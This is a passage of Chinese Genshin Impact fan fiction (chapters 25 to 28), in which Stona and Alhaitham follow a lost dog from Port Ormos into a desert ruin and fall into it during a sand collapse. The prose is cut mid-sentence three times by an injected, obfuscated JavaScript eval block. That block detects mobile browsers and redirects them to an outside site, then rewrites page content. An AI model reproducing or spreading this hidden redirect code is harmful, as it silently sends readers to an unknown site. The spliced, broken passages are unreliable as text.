斯托娜摇头:“没有,我问的人里没有一个人目击到小狗在港口出没。你应该也没有打听到线索吧?唉,看来还是我异想天开了。我们回去吧。” 明天小狗主人应该就会把寻狗启示做好了,把寻狗启示贴遍须弥城,再去须弥城以外的地方张贴,希望有好心人发现小狗之后可以联系他们。 艾尔海森听了她的话后却是一副欲言又止的神情。 斯托娜问:“怎么了?你不舒服吗?” “不是。如果我说我找到了线索,你能同意暂时不沿着这条线索调查下去,而是等到明天再行动吗?”艾尔海森说。 “你找到线索了?!” 艾尔海森叹了口气:“看来答案是‘不能’。” 25.第 25 章 在艾尔海森询问的人当中,有一位声称自己目击到一只小狗追着一只蝴蝶上了一艘商船,但这个人不知道那艘船开往何方,只记得船的桅杆上绑了红绸。 桅杆上绑红绸的船只大多都是开往奥摩斯港的。 艾尔海森调阅了昨天夜间至今天上午进出港口的船只信息,查出昨天有三艘船从须弥城港口出发,其中有两艘船会经过奥摩斯港,另外一艘船则是北上前往卡萨扎莱宫。 三艘船开往两个相反的方向,斯托娜对须弥城外的地方不熟,她和艾尔海森分开找的效率比较低,所以他们首先去了小狗主人家,把新查到的线索告诉了对方。 小狗主人正在家里冥思苦想寻狗启示的内容。 “想要把我对小狗的爱浓缩成一张纸的篇幅真的好难啊。我努力地缩写句子,还是做不到把想说的话都写在启示上面。”小狗主人为他们开门之后,不等他们说话,他就已经开始诉苦。 “另外,启示上要选哪一张照片才好呢?我平时给小狗拍了很多照片,每一张我都喜欢,根本选不出最喜欢的一张啊。” “寻狗启示的制作可以先等等,”斯托娜说,“我们刚才在港口查到了新的线索。” 他们把三艘绑了红绸的船只的线索告诉了小狗主人。 小狗主人听后十分激动,拍案而起:“竟然有这种事?!那蝴蝶是黄色的还是蓝色的?” “蝴蝶的颜色很重要吗?” “当然重要!我记得小狗只喜欢追黄色蝴蝶,如果它昨天追的是蓝色的蝴蝶,说明它培养了新的爱好!作为小狗的主人,我必须了解它的所有爱好才可以!” 小狗主人不知道是因为过度劳累还是过度紧张,他完全搞错了重点。 在被斯托娜提醒现在的重点是小狗的下落而不是蝴蝶的颜色之后,小狗主人才渐渐冷静下来。 “你说得没错,现在不是纠结蝴蝶颜色的时候。那我们现在就出发吧,开往卡萨扎莱宫的那艘船就交给我去调查,另外两艘开往奥摩斯港的船就拜托你们了!” 须弥的水上交通比较便利,不过须弥城与奥摩斯港距离遥远,即使乘船前往,天亮之前也无法到达。 到达奥摩斯港之后还不知道能不能找到新的线索,但想当天从奥摩斯港往返是绝对不可能的。 “教令院那边没关系吗?”斯托娜说,“我虽然没有去过奥摩斯港,但凭借地图应该不会迷路的。如果你工作忙走不开的话,我可以自己去奥摩斯港。” “教令院的那些家伙忙着推举大贤者,不会注意到我是否在办公室。我和你一起去奥摩斯港。”艾尔海森说。 书记官真是份不错的工作啊,工作时间不需要待在教令院,请假的难度也不大的样子,只是…… “这份工作对你来说会不会过于简单了?” 在前往奥摩斯港的船上,斯托娜提出了自己的疑问。 “我就是因为书记官的工作简单,才担任了这个职位。”艾尔海森说。 “但是你这么聪明,你就不想在教令院担任更……”斯托娜斟酌了一下措辞,“其他人会更重视的职位吗?” “不想。” “为什么?” “不感兴趣。” 非常艾尔海森的回答。 不感兴趣的事,即使勉强自己去做了,也不会有成就感吧。 斯托娜简单回忆了一下自己二十余年的人生,那些她被迫去做的事情,现在想起来,真的很浪费时间。 那么多时间就那样白白浪费掉了,回忆起来的时候,除了痛苦外没有其他的情绪,所以她总是避免回想。 还是想想开心的事吧,比如暮云角鲀。 之前在港口的时候,有人告诉她,降诸魔山的暮云角鲀钓取难度相对较小。斯托娜没有去过降诸魔山,不过她看过地图,知道降诸魔山的大体位置。 降诸魔山在维摩庄和奥摩斯港之间,一个巨大的遗迹守卫像山神一样守在山口。 虽然降诸魔山距离须弥城是远了一点,但如果能在那里钓到暮云角鲀的话,也不亏啊。 “在想什么?”艾尔海森问。 “降诸魔山的那个遗迹守卫应该已经不能动了吧?” “据我所知是这样。你想去降诸魔山吗?” “嗯。听说在那里钓到暮云角鲀的几率更高。” “等把眼下的事解决之后,我们一起去。” 只是,这次去奥摩斯港,也不知道能不能找到小狗。 之前在道成林的时候,她沿着大路走都会迷路,小狗平时只在须弥城附近活动,被商船带去那么远的地方,它也迷路的话该怎么办啊。 “须弥的生态很好,即使短时间内找不到它,它自己在野外也能找到充足的食物,不必担心。”艾尔海森安慰她说。 “万一它吃了毒蘑菇中毒怎么办?” “狗虽然被人类驯化成了宠物,但狗的祖先是狼。狼性情凶猛,是典型的食肉动物。狗虽然是杂食性动物,但血脉中仍然保留了狼对肉的喜爱,如果能找到其他食物,它应该不会主动食用蘑菇的。” 尽管如此,斯托娜还是很担心小狗。须弥的生态这么好,野外有那么多野生动物,每一个都被雨林养得膘肥体壮,块头都不小,如果小狗遇到长鬓虎或是棘冠鳄就危险了。 可是着急也没用,即使搭乘速度最快的船,天亮之前也到不了奥摩斯港。 在船舱里睡了一夜之后,第二天早上斯托娜与艾尔海森在甲板会合的时候,灿烂的阳光让他们眯起了眼睛。 看着沿岸的风景,斯托娜的心情比刚醒来时好了一些。 “船只已经经过维摩庄,接下来就要到达奥摩斯港了,”艾尔海森说,“大概在中午之前就能靠岸。” 果然如艾尔海森所说,商船在上午十点钟到达了奥摩斯港。 奥摩斯港并不是这艘船的最终目的地,商船只是在奥摩斯港稍作停留,把需要运送的货物运上船之后,很快就会再次出发,前往璃月。 斯托娜和艾尔海森在奥摩斯港下了船,在港口发现了他们要找的两艘商船其中的一艘,这艘船马上就要驶离港口前往璃月。 经过询问,船上的人并没有看到小狗跑到船上来。 斯托娜不甘心,问:“能不能让我们到船上找一找?” “……好吧,只要别把货物翻乱就行。” 获得许可之后,斯托娜和艾尔海森上船寻找小狗,他们把小狗可能躲藏的犄角旮旯都找了一遍,边找边呼唤小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132371|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗的名字。 如果小狗在船上的话,听到他们叫它的名字,它不可能不跑出来的。 可是小狗不见踪影。 在寻找小狗的过程中,斯托娜和艾尔海森询问了船上的其他船员,但他们也都没有发现船上有小狗的身影。 “看来它不在这艘船上,而在另一艘船上。”艾尔海森说。 但另一艘船不在奥摩斯港,应该是已经离开了。 调阅了奥摩斯港的船只出入记录后,他们遗憾地得知,另一艘绑有红绸的船在昨天傍晚时分就满载香料离开了奥摩斯港,目的地是蒙德。 现在乘船去追也来不及了,不可能在半路上追到那艘船。 要去蒙德吗? 可她现在这个情况,去蒙德很不方便啊。 现在回须弥城把船只的下落告诉小狗主人的话,一来一回要耽误一整天的时间,别说什么寻踪黄金期,就连青铜期都过了。 虽然斯托娜不想回蒙德去,但为了小狗,也管不了那么多了。 斯托娜正下定决心乘船去蒙德,艾尔海森忽然说道:“目前还无法确定小狗就在开往蒙德的商船上,我不建议贸然前往。那艘商船既然在奥摩斯港停留过,假设小狗的确上了那艘船,而不是上了开往卡萨扎莱宫的那艘船的话,当船只在此处停留的时候,小狗很可能下船。” 艾尔海森认为仅仅因为商船开往蒙德就也去蒙德寻找太过莽撞,他建议先在奥摩斯港附近寻找,顺便向长期待在奥摩斯港的人打听线索。 短暂商讨一番之后,斯托娜同意了艾尔海森的提议,他们找到奥摩斯港的负责人,向对方询问那艘开往蒙德的商船的更多信息。 “那艘船要一口气开到蒙德,不会中途停留吗?”斯托娜问。 “不会。它之所以会在奥摩斯港停留是因为有一部分货物需要在奥摩斯港被运送上船,这之后需要运送的货物就都齐了,所以船只会一直开到蒙德再停下来。” 艾尔海森思考片刻,说:“船只在奥摩斯港停留的时候,有没有人下船?” “啊……这个嘛,按理来说应该是没有的。” “那确切情况到底如何呢?”斯托娜问。 “如果船只在到达奥摩斯港的时候有搭顺风船的人下船的话,那答案就是‘有’,”负责人说,“只不过能不能搭船取决于船长,我们并不知情。” 负责人不知道船上有没有人在奥摩斯港下船,斯托娜和艾尔海森只好在奥摩斯港继续询问,希望能找到新的线索。 但港口来往船只太多,上船下船的人也太多,绑有红绸的商船在奥摩斯港并不是难得一见的东西,因此没人会对这种船多加留意,也不会注意到从这种船上下来的人。 “这样找下去真的能找到线索吗?”在几个小时的寻找无果之后,斯托娜有些灰心。也许小狗就在那艘开往蒙德的船上,而她只是因为不想回蒙德才竭力回避这个现实。 “你在这里休息一会儿,我去那边问问。”艾尔海森说。 “艾尔海森?又来这里查收公文吗?”一个沉稳的声音响起,随着声音一起现身的是一个镀金旅途打扮的人。 “今天不是。”艾尔海森说,“这位是迪希雅,是一位能力出众的佣兵。” 26.第 26 章 “你好,如果去沙漠需要向导的话,欢迎来找我,”迪希雅笑了笑,“你们今天应该不打算去沙漠吧?” “暂时还没有这个打算。” “那就好。否则我岂不是错过了一单生意。今天我要负责保护一批运往维摩庄的货物,正等船来呢。既然你们不去沙漠,又出现在这里,是要出海吗?”迪希雅问。 艾尔海森向她解释了他和斯托娜出现在奥摩斯港的原因。 “系有红绸的商船啊……我在来的路上还听其他镀金旅途的人讨论过,说是今天有几个学者打扮的人在喀万驿雇佣镀金旅途,想要去沙漠做研究,但因为他们出的钱比较少,所以一开始没能雇到人,直到把价格抬高之后才有人肯做他们的生意,”迪希雅回忆道,“虽然不知道他们是不是你们要找的人,不过他们出现在喀万驿的时间是对得上的。” “根据奥摩斯港的船只出入记录,他们的确有可能就是搭载绑有红绸的商船从须弥城来到奥摩斯港,又前往喀万驿。”艾尔海森说。 “就算他们曾经搭载那艘商船,小狗也不会跟着他们去沙漠吧?”斯托娜说道。 “这个可能性的确不大,但如果他们搭载过开往蒙德的商船,而小狗又的确上了那艘船的话,他们也许目击到了它,”艾尔海森进一步分析道,“与其乘船去追赶开往蒙德的那艘船,还不如去追赶那几个学者,说不定会找到新的线索。” 对啊,从奥摩斯港去沙漠的确比从奥摩斯港去蒙德要近得多了。 “你们要找那些人的话,最好动作快点,这个时候他们很可能已经进入沙漠了。”迪希雅提醒道。 艾尔海森看着斯托娜,等她做决定。 “那我们就……去沙漠?现在没有其他线索,就沿着这一条线索继续调查下去吧。” 迪希雅叹了口气:“唉,可惜我今天还有工作,不能做你们的向导了,不过有艾尔海森在,你们也不需要向导带你们进沙漠。祝你们好运。” 与迪希雅道别之后,斯托娜和艾尔海森穿过雨林,根据艾尔海森规划的最近路线来到了喀万驿。 斯托娜还从来没有去过沙漠,因此喀万驿对她来说是个全新的环境。 喀万驿位于沙漠与雨林的交界地带,既有沙漠的特点,又仍然带着几分雨林的绿意。 想要进入沙漠,从喀万驿出发沿着主路逐步深入是绝大多数人的选择。 斯托娜和艾尔海森在喀万驿买了一些进入沙漠所必需的装备,稍事休息之后就进入了沙漠。 沿着大路走了没多久,周围的环境就已经变得与雨林截然不同。 树变得稀疏,风变得干燥,地上的草也变得枯黄,这里的炎热也是与雨林不同的炽热。沙漠作为被雨水抛弃的地方,早就形成了自己独特的气候环境。 斯托娜裹紧面纱,但沙子仍然狡猾地从缝隙钻进她的衣服里,没走多久,她的嘴里就进了沙子。 沙漠的环境比她想象得还要恶劣,难以想象沙漠里也有许多人居住。 好像人们在谈论起“须弥”的时候总会自动把沙漠排除在外,就连斯托娜在想起须弥的时候,她最先想到的也是雨林的雨、漫长慵懒潮湿闷热的午后,而不是干旱的沙漠。 从这个角度来说,沙漠不仅是被雨水抛弃,沙漠也被雨林区域的人给抛弃了。 在沙漠里度过了两个小时之后,他们找了一处避风的沙丘休息。 “住在沙漠的人想去一趟须弥城还真是不方便啊,”斯托娜不禁感慨道,“光是走出沙漠就要好久。而且沙漠很危险,我在书上读到过,沙漠里有很多处被黄沙掩埋的古代遗迹,其中许多遗迹里的机关仍然在发挥作用。” “的确,沙漠遗迹里的机关非常精巧,祖母在年轻的时候就经常到沙漠来做研究,直到晚年体力不支的时候才作罢。沙漠里到底有多少处遗迹,到现在仍然是个谜。” 斯托娜从地上抓起一把沙子,位于沙漠表面的沙子干燥得没有一丝水分,给人一种很衰败的感觉。 斯托娜把沙子轻轻放回原处:“在沙漠里,那些学者的速度快不了,但我们的速度也快不了,恐怕追不上他们。” “学者到沙漠来做研究,速度不会太快,如果找到了遗迹,他们在把相关数据记录完毕之前不会继续往前走,所以我们还是有可能追上他们的。”艾尔海森说。 有了艾尔海森这位真·学者的安慰,斯托娜的不安有所减轻。 他们稍事休息之后就继续赶路,沙子很快再次透过缝隙钻进斯托娜的嘴巴和衣袖,沙子伴随着风一起吹在脸上,像砂纸在用力地摩擦她的脸。 沙漠的环境实在太恶劣了,在沙漠中生存真是不容易。 沙漠的风很干燥,而且很乱,你永远不知道下一阵风会从哪个方向吹过来,也永远不会知道下一阵风的风力有多强。 斯托娜已经尽可能小心了,走出去的每一步她都尽力让自己稳稳落在地上,等稳住之后再继续往前走,但沙漠的风实在太不按套路出牌,从左侧吹过来后紧接着又往后方吹,纵使斯托娜小心再小心,也摔倒了好几次。 “当心。”艾尔海森抓住她的手臂帮她稳住了重心,“这附近的风很大。” “谢谢。” 斯托娜仍有些惊魂未定,太阳穴处血管里的血液飞速流动,心跳声也被风声打乱了节奏。 沙漠的风和蒙德的风都被她加入了名为“讨厌”的名单里。 又艰难地走了一段路,艾尔海森忽然开口说道:“前面有人。” 斯托娜拂去蒙住眼睛的沙子往前面看去。风沙模糊了她的视线,能见度很低,她只能勉强看到前面有人一样的轮廓在动,根据移动的频率和幅度来判断,那些人挺兴奋的。 “过去看看吧,说不定他们需要帮助。”斯托娜说。 他们两个稍微加快了脚步,靠近前方那些人。 距离近了之后,斯托娜听到了他们的……不是呼救声,但听起来他们的精神状态有些不妙。 “不行不行,太危险了!即使是研究机关多年的大前辈在进入遗迹前都要三思而后行,我们还太稚嫩,进去之后很可能就出不来了!” “我同意你说的,但这何尝不是个机会呢?也许它的出现就是为了逼我们迈出勇敢的一步!” “拜托!我们是学者,研究的是科学,不要搞迷信那一套好不好啊!” “是谁在考试之前求考试之神保佑来着?信奉所谓的考试之神难道不是迷信的一种吗?!” “那不一样!不许你侮辱考试之神!” “发生了什么事?”艾尔海森省去问候,直截了当地发问。 几个正在争辩的人听到艾尔海森的话,纷纷转身看了过来。 斯托娜注意到,这些人虽然都穿着用来抵御风沙的同款长风衣,但他们帽子上妙论派的标志已经明示了他们的身份。 这些人在看清艾尔海森的脸之后纷纷发出了欢呼声。 “是大书记官吗?您也到沙漠来做研究吗?太好了!有救了有救了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142254|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “是啊是啊,我就说心怀希望是有用的吧?” “不要趁机宣扬你的迷信思想啊!” 艾尔海森自动过滤了他们的废话,只从话里筛选出关键信息:“有人受伤了吗?还是你们迷路了?” “我们暂时还没有迷路,也没有受伤,只是有个疑似是狗的生物跑进了遗迹里面。”妙论派学者之一说着往不远处的沙丘上一指。 “疑似是狗?”斯托娜问。 “对,我们没有看清它的长相,但根据它奔跑时发出的声音来判断,它有百分之八十五的可能性是狗,百分之十的可能性是猫,还有百分之五的可能性是尚未被教令院承认的新物种。” “真受不了你们这些学者,刚才那只一定就是狗,不可能是其他动物!”一个镀金旅途打扮的人忍不住开口说道,“所以你们到底要不要进那个遗迹?事先说好,我们可不会陪你们一起进那么危险的地方。” 斯托娜在镀金旅途的人抱怨的时候匆匆扫了一眼这些人的装备,他们身边放了几个大木箱,箱子已经打开,箱子里面是一些看上去就很重的仪器,大概是用来研究遗迹的工具。 “好啦,你们先别吵了,你们刚才说有只狗独自跑进那个遗迹里面去了对吗?”趁镀金旅途和学者们停下来喘口气的工夫,斯托娜趁机问道。 “对啊,它刚从箱子里跑出来的时候还把我吓了一跳呢。”一个学者回答。 “所以那只狗是你们在箱子里发现的,”艾尔海森说,“你们是不是搭载了桅杆上绑有红绸的商船从须弥城到奥摩斯港,又一路到了喀万驿雇佣镀金旅途带你们进沙漠研究遗迹?” 学者们纷纷露出惊讶的神情:“完全正确!您是怎么知道的?” “这个暂且不提。我们有事问你。”艾尔海森把小狗的长相描述给这些人听,这些人虽然没有完全看清狗的样子,但他们有百分之七十的把握,跑进遗迹里的那只狗就是斯托娜和艾尔海森在找的小狗。 “小狗应该是离开家之后去了港口,因为追赶蝴蝶而跑上了商船,不小心跌进了盛放测绘仪器的木箱里,”艾尔海森分析道,“装箱的人没有发现它在里面就关闭了木箱,小狗就这样被一路运送到了沙漠。” 直到刚才这些学者发现了遗迹,打开木箱打算进行研究工作的时候,受了惊的小狗才从木箱里跑出来,跑进了遗迹里。 沙漠遗迹里的机关是出了名的精巧难解,小狗想靠自己从遗迹里出来简直比让须弥的沙漠每天下一场雨还要困难。 想要救出小狗,就只能进入遗迹,把它带出来。 “我去吧,”艾尔海森对斯托娜说,“你和他们等在外面。两小时后,不管我有没有在遗迹里找到小狗,我都会从遗迹里出来向你们说明里面的情况。” 斯托娜点点头:“好,注意安全。” 遗迹里可能很危险,她可不想当个累赘和对方一起进去,还是等在外面最不给艾尔海森添麻烦。 旁边的一个学者说道:“书记官先生,请让我和你一起去吧!” “不行,遗迹里可能很危险,我没有多余的精力照顾你。”艾尔海森拒绝了。 另一个学者说道:“那如果两个小时之后您还没有从遗迹里出来,需要我们进去——” “不需要,如果过了两个小时后我还没有出来,你们进入遗迹就更不可能活着出来。”艾尔海森说。 他的话很直接,逗乐了被学者们雇佣的镀金旅团,镀金旅团的人吹了声口哨。 27.第 27 章 沙丘上的遗迹大半被黄沙掩埋,只在沙丘顶端露出了半个人高的入口,应该是这些天持续的大风吹走了部分沙子,导致遗迹的入口从沙丘里露了出来。 “这处遗迹没有文献记录,是新发现的遗迹,书记官先生,您独自进入遗迹可一定要小心啊。”一个捧着书的学者提醒道。 艾尔海森站在遗迹入口,他的视线落在入口处的花纹上。 没过多久,他转过身面对着大家,说:“你们待在这里,不要乱跑。” “要不要再研究一下?”斯托娜开口说道。 这是一处此前没人发现过的新遗迹,就连艾尔海森都不知道遗迹里有怎样的机关,他也无法保证进入遗迹后能平安出来,未免太危险了。 虽然在场的学者和镀金旅团的人都没有艾尔海森聪明,但大家一起研究一下,也能更有底气。 “它进去多久了?”艾尔海森问。 镀金旅团的人开口说道:“那只小狗吗?至少……两个小时了吧。” “那你们就在原地吵了两个小时?”斯托娜震惊。刚才她和艾尔海森靠近这些人的时候,他们可吵得正激烈呢,原来他们已经吵了两个小时。 “不是我们,是他们。”镀金旅团的人指了指那些妙论派的学者,语气里的嫌弃完全不加掩饰。 “我们对这个遗迹一无所知,就算是你进入那里也很危险。虽然对小狗很抱歉,但我想还是先想办法了解一下遗迹后再进入吧。”斯托娜说。 救小狗虽然重要,但不能因为救小狗就把艾尔海森置于危险的境地。 “遗迹里可能很危险,不小心触发机关就会丧命,”艾尔海森说,“如果还想小狗活着的话,必须尽快找到它。” “虽然我能理解那只小狗一定对你们很重要,但贸然进入陌生的遗迹,这并不符合学者做研究的准则啊。”一位学者也劝说艾尔海森。 “面对‘陌生遗迹’这种严肃的事情,还请保持理智,不要被感情冲昏头脑。”另一个学者也加入了劝说的队伍。 “我并没有‘被感情冲昏头脑’,”艾尔海森引用了对方的话,“这个遗迹虽然是新出现的,但我并非对它一无所知。入口处的花纹我曾经在书中见过,想必遗迹里的机关对我而言也不是从未接触过的全新机关。” 斯托娜看向入口处的花纹。花纹并不复杂,看起来像是猫的脑袋上长了一双鹿角。 “原来如此啊,不愧是书记官!” “新发现的遗迹正巧是自己研究过的知识,这样的大好事什么时候才能降临在我的头上?” “反正求考试之神是肯定没用的吧。” “都说了不要侮辱考试之神!” 学者们三言两语又要吵起来,他们似乎已经完全信任艾尔海森进入遗迹后不会有危险,只有斯托娜仍然不放心。 从来到须弥后她就一直在麻烦艾尔海森,但像让艾尔海森独自进入遗迹这种程度的冒险和之前的那些事根本不是一个等级,斯托娜很不安。 但她不能提出和他一起进入遗迹,因为她在场只会造成更多麻烦,反而会拖累艾尔海森。 “注意安全,”斯托娜说,“不要太深入遗迹,两个小时的时间内请一定从遗迹里出来,就算找不到小狗也没关系的。” 艾尔海森点点头:“我答应你。不过比起我,需要和他们待在一起的你要更辛苦一点。” “那就拜托你尽快出来和我一起分担这份辛苦啦。”斯托娜笑了笑。 艾尔海森俯身通过了遗迹的入口。 不知道遗迹入口是不是经过了特殊处理,艾尔海森经过门口之后,他的身影立刻就消失了。 看着艾尔海森突然消失在眼前,斯托娜心里一惊,但围在旁边的学者们都没有说什么,斯托娜猜测也许这是进入遗迹后比较常见的情况,对于学者来说是常识吧。 镀金旅团的人看着艾尔海森忽然消失,也没有表现得太惊讶,他们大概经常接到做学者沙漠向导的委托,所以也见多了这样的场面,已经见怪不怪了。 艾尔海森进入遗迹后不久,学者们就因为测绘仪器的使用顺序吵了起来。 镀金旅团的人都是一副被这些学者烦得不行的样子,时而低声嘀咕一句“真有活力啊”之类的抱怨。 二十分钟后,学者们仍然精力旺盛地吵着架,没有停下来的意思。 镀金旅团的人大概是不想听他们吵了,所以主动和斯托娜聊天。 “那只跑进遗迹里的小狗,你们养了多久了?” “它不是我们的狗,它的主人养它已经很多年了,但具体是多久,我没有问过。”斯托娜回答。 “欸?那只狗不是你们的?那你们为什么……哦,我知道了,一定是狗的主人拜托你们帮忙找吧?” 斯托娜点点头:“是这样。” “酬金一定很高吧?”对方接着说道。 “欸?” 对方以为斯托娜没说清楚,又重复了一遍:“委托人开出的报酬一定很高吧?否则你们为什么要为了别人的小狗这么拼命。” 报酬的事斯托娜没想过,其实她和小狗主人的委托关系在对方写完论文后就自动解除了,现在帮忙找狗只是出于……自然而然? 斯托娜没打算向小狗主人索要寻找小狗的报酬,况且,小狗主人是学生,应该没什么钱吧。 镀金旅团的人在得知她和艾尔海森是无偿帮人找狗之后显得无比震惊:“这也太……我无法理解。反正我是不会为了一只不属于我的狗而冒险进入遗迹的。” 艾尔海森之所以愿意进入遗迹,一定是想找到小狗的,但如果不是她把对方拽进整件事里的话,艾尔海森根本不需要冒险进入陌生遗迹。 如果没有艾尔海森,斯托娜自己也会帮忙寻找小狗,但她顶多就是在须弥四处寻找、张贴寻狗启示而已。 她不认识迪希雅,所以靠自己,她多半是找不到关于沙漠的线索的,也就永远不会知道小狗跑进了遗迹里面。 她会尽力帮忙寻找小狗,但最终不会找到,这件事只能不了了之。 能力不足也好,运气不佳也好,但她自己是找不到小狗的,她连这里有一个遗迹都不会知道。 但艾尔海森的加入推动了整件事的发展,现在他们找到了小狗,但小狗在遗迹里,需要冒很大的风险进入遗迹才可能救出它。 是她导致艾尔海森冒这么大的风险。 “话说……你们有没有感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149562|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风越来越大了?”一名镀金旅团的成员忽然说道。 “是啊,难道要刮沙尘暴?” 一个经验丰富的镀金旅团成员说:“不像,刮沙尘暴的话不会是现在这样的天气,但风的确很大。” 另一边,吵了很久的学者们也吵得差不多了,虽然根本没有达成一致的意见,但他们终于累了。 于是他们决定换换脑子,聊聊别的话题: “都这么长时间了,书记官还没有出来,会不会是出什么事了?” “不会吧?刚过了一个小时,书记官说让我们等两个小时。” “可是即使是书记官也很难一个人解开遗迹里的全部机关吧?我觉得我们应该进入遗迹去帮助他。” “嗯……刚才书记官的话的确有些自大了,我们几个也不比他差。”说这话的学者转身看向遗迹入口,对所有人大声说道:“谁要和我一起进去?” 镀金旅团的人都是一副看傻子主动送死的眼神看着他,其他学者大多也不赞同这个人的提议。 “胆小鬼。我自己去。”这人摘了遮挡风沙的面纱,往遗迹入口走去。 “等等,”斯托娜说,“里面太危险了,等艾尔海森出来之后我们再商量接下来该怎么办吧。” “不需要,书记官又没有资格命令我等在这里,我现在就要进去。” 斯托娜看他执意要进入遗迹,只好咬咬牙把心里话说了出来:“我建议你不要在这个时候赌气。如果你在遗迹里迷路,艾尔海森出来之后还要回去救你。” 对方看着她,脸上的神情混合了惊愕与气愤:“你说什么?你的意思是我不如那个书呆子?!” 书呆子,好熟悉的称呼。 难道面前这个家伙也是十多年前她和艾尔海森的旧相识吗? “不管你说什么,在艾尔海森回来之前,我是不会让你进去的。”斯托娜站在遗迹入口,张开双臂拦住了对方。 “你这个家伙,”对方的嘴角抽搐两下,“还是和以前一样啊!” 他忽然加快了脚步往斯托娜的方向冲了过来,看来是想靠蛮力撞开她,好进入遗迹里面。 “大家帮忙拦住他,如果他进入遗迹,我们会在这里浪费更多时间救他的!”斯托娜向镀金旅团喊道。 镀金旅团的人当然明白这个道理,他们不等斯托娜请求就已经行动起来。 想要进入遗迹的学者虽然愤怒,但他并不是强壮的人,几个强壮的镀金旅团成员想要拦住他轻而易举。 “放开我!你们放开我!我花钱雇你们是让你们做我的向导,不是让你们抓我的!”气急败坏的学者仍在挣扎,镀金旅团成员并不理会。 “真是的,以后再也不接学者的委托了。”有一名镀金旅团的成员低声说道。 “是啊,真麻烦。”另一名佣兵附和道。 成功阻止了想要进入遗迹的学者,斯托娜松了一口气。 风沙吹在她脸上,她的心跳变得比刚才更乱。 镀金旅团的人说得没错,风的确越来越大了。 这个念头刚刚出现在斯托娜的脑袋里,下一秒,所有人脚下的沙子便急速下陷,地面变成了一个巨大的空洞,他们尖叫着往下坠落。 28.第 28 章 下坠的过程总是令人恐惧,脚下没有地面的感觉远比人想象中的感觉要恐怖得多。 在蒙德的时候,斯托娜有时会梦到自己从蒙德广场上那尊高高的风神像上坠落,耳边是呼啸的讨厌的风声,眼前是加速放大的地面。 她总是会在落地前的一刹那猛然惊醒,在黑暗中发抖,心脏狂跳。 但斯托娜只在梦中体验过下坠的过程,她从来没有真的站在风神像上纵身而跃,即使某天真的痛苦到活不下去,她也不会选择这样的死法,因为她讨厌风,她不会选择在死前还被风折磨。 梦里的下坠只是她心理焦虑的表现,并不是真正的下坠。 但这次的下坠是真实的。 耳边的风、衣服里的沙子、被引力拉着加速下落的感觉、紊乱的心跳、太阳穴处血液流经血管的声音,还有身边须弥学者和镀金旅团成员们的尖叫声。 所有人都不知道发生了什么,只知道自己正在快速下坠。 然后下坠结束,落地。 尽管沙子起到了一定的缓冲作用,但斯托娜还是摔得够呛。 她在接触地面时护住了脑袋,并且尽力缓冲下坠造成的冲击力,但撞到地面的那一刻,她还是感觉整个身体都散架了,骨头全部错位,像被人打乱的拼图碎片。 躺在地上,斯托娜的脑袋里一共产生了四个想法,这四个想法不分先后顺序,几乎是同时出现在她脑子里: 她可能要死了; 她还不想死; 如果死在这里,艾尔海森一定会难过的; 她讨厌坠亡这种死法。 斯托娜试着动了动自己的左手,手指还能动,接着是手掌、整只手臂,然后是另一只手臂。 哀嚎的声音从四周传来 有声音是好事,因为还能哀嚎,说明人至少还活着。 斯托娜的腿也都能动,她试着活动双腿,然后站了起来。 其他人也叫苦连天、像刚从坟墓里复活的僵尸一样陆陆续续站了起来。 “好在这个坑不是特别深,否则就不是全身酸痛这么简单了。”一名镀金旅团的成员抬头往上方看去,湛蓝的天空在沙洞之上,他们好像跌进井里的青蛙。 “这里是遗迹内部?”一名学者观察着周遭的环境,声音不知道是由于激动还是恐惧而有些颤抖,“没想到我们脚下竟然是空的。” “这里前不久应该经历过沙尘暴,”有经验的镀金旅团成员说,“沙尘暴导致这里的沙子变得松散,而且这下面掩埋着遗迹,遗迹上方的沙子松散之后下陷,我们又恰好站在这里——” “刚才那个想要进入遗迹的人呢?现在他的愿望实现了,让他带我们出去吧!”另一名镀金旅团的成员开始四处张望,寻找刚才那位气急败坏的须弥学者。 “恐怕不行。” “为什么?” “他昏倒了。” 众人围了过去。 昏迷的学者眉头紧皱,曲起一条腿躺在地上,他没有明显的外伤,但有没有内伤就不一定了。 “真没用。那你们其他人谁能带我们离开这里?”镀金旅团的人用充满阴霾的视线扫过其他几名学者,似乎对这些只会吵架的学者并不抱有希望。 “这个嘛……我们需要先研究一下。”一个学者说。 “但我们必须边走边研究,因为我们无法保证留在原地是安全的。” 可我们也无法保证不留在原地就是安全的——斯托娜的心里提出了反对的声音,但这是她第一次来到沙漠,也是她第一次踏入遗迹,其他学者一定比她有经验,所以斯托娜暂且保留了自己的意见。 